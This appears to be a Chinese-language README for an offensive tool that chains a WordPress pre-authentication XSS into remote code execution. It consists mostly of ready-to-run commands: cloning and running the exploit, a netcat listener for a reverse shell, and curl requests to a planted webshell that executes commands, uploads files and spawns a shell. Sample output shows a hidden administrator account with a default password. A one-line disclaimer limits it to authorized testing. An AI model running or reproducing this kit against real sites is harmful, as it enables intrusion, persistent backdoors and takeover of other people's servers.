WordPress 预认证 XSS → RCE 漏洞利用链
由 G0D150NE 开发
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
自动模式（推荐）
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
XSS 模式（无需凭据）
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
直接模式（有凭据）
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
WebShell 安装完成后：
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
漏洞利用成功后：
已创建的隐藏管理员：
sysadmin_{slug}{backdoor-pass}（默认：G0D150NE）╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
仅供教育和授权测试使用。
仅可用于您拥有或已获得明确测试许可的系统。
作者对任何滥用或造成的损害不承担责任。
| 选项 | 说明 | 默认值 |
|---|
target | 目标 WordPress URL | 必填 |
-u, --username | WordPress 管理员用户名 | - |
-p, --wp-pass | WordPress 管理员密码 | - |
--lhost | 监听器 IP 地址 | 127.0.0.1 |
--lport | 监听器端口 | 4444 |
--mode | 漏洞利用模式（auto/xss/direct） | auto |
--slug | 插件 slug 名称 | g0d150ne |
--callback-port | 回调服务器端口 | 9090 |
--backdoor-pass | 后门密码 | G0D150NE |
| 功能 | 命令 |
|---|
| 执行命令 | ?b2h=BASE64_CMD |
| 上传文件 | -F '[email protected]' |
| 反弹 Shell | ?rev=1 |
| 明文命令 | ?cmd=id |
| 加密后门 | ?decrypt=AES_DATA |
| 问题 | 解决方法 |
|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | 检查监听器：nc -lvnp 4444 |
Login failed | 验证凭据或使用 XSS 模式 |
Plugin upload failed | 检查权限，使用不同的 slug |
Argument conflict | 使用 -p 指定 wp-pass，使用 --backdoor-pass 指定后门密码 |